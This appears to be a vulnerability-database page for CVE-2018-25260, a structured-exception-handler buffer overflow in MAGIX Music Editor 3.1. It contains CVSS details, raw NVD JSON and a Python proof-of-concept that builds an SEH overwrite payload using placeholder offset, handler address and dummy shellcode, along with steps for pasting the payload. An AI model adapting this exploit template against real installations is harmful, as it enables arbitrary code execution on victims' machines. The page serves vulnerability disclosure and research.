Security Vulnerability Report
中文
CVE-2018-25260 CVSS 8.4 HIGH

CVE-2018-25260

Published: 2026-04-22 16:16:46
Last Modified: 2026-04-29 23:32:33

Description

MAGIX Music Editor 3.1 contains a buffer overflow vulnerability in the FreeDB Proxy Options dialog that allows local attackers to execute arbitrary code by exploiting structured exception handling. Attackers can craft a malicious payload, paste it into the Server field via the CD menu's FreeDB Proxy Options, and trigger code execution when settings are accepted.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:magix:music_editor_deluxe:*:*:*:*:*:*:*:* - VULNERABLE
MAGIX Music Editor 3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python # PoC for CVE-2018-25260 MAGIX Music Editor Buffer Overflow # This script generates a malicious payload to trigger the SEH overwrite. import sys # Structure of the payload: # [Junk/NOPs][nSEH][SEH Handler][Shellcode] # 1. Offset to overwrite SEH (This value needs to be determined by fuzzing) # Example offset used for demonstration purposes. offset = 4064 # 2. nSEH (Next SEH) address: Usually a short jump to the shellcode # \xEB\x06\x90\x90 = JMP SHORT +6, NOP, NOP nseh = b"\xeb\x06\x90\x90" # 3. SEH Handler address: Address of POP POP RET instruction # This address depends on the loaded DLLs (non-ASLR modules). # Placeholder: 0x10020210 (Example from a vulnerable module) seh = b"\x10\x02\x02\x10" # 4. Shellcode: Proof of concept shellcode (e.g., calc.exe or message box) # Using a simple NOP sled followed by dummy shellcode for demonstration shellcode = b"\x90" * 100 + b"A" * 300 def generate_payload(): payload = b"A" * offset + nseh + seh + shellcode return payload if __name__ == "__main__": print("[*] Generating payload for CVE-2018-25260...") payload = generate_payload() print(f"[*] Payload length: {len(payload)} bytes") print("[*] Steps to reproduce:") print("1. Copy the generated payload (hex or raw string)") print("2. Open MAGIX Music Editor 3.1") print("3. Navigate to CD menu -> FreeDB Proxy Options") print("4. Paste the payload into the 'Server' field") print("5. Click OK/Save to trigger the overflow and exception handling.") # Optionally save to file with open("poc_cve_2018_25260.txt", "wb") as f: f.write(payload) print("[*] Payload saved to poc_cve_2018_25260.txt")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25260", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:46.400", "lastModified": "2026-04-29T23:32:32.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MAGIX Music Editor 3.1 contains a buffer overflow vulnerability in the FreeDB Proxy Options dialog that allows local attackers to execute arbitrary code by exploiting structured exception handling. Attackers can craft a malicious payload, paste it into the Server field via the CD menu's FreeDB Proxy Options, and trigger code execution when settings are accepted."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:magix:music_editor_deluxe:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "A39ED723-C2AA-421A-BF5D-AE710B91DFDA"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/46056", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.magix.com/us/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.magix.com/us/music/mp3-deluxe/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/magix-music-editor-buffer-overflow-via-seh", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}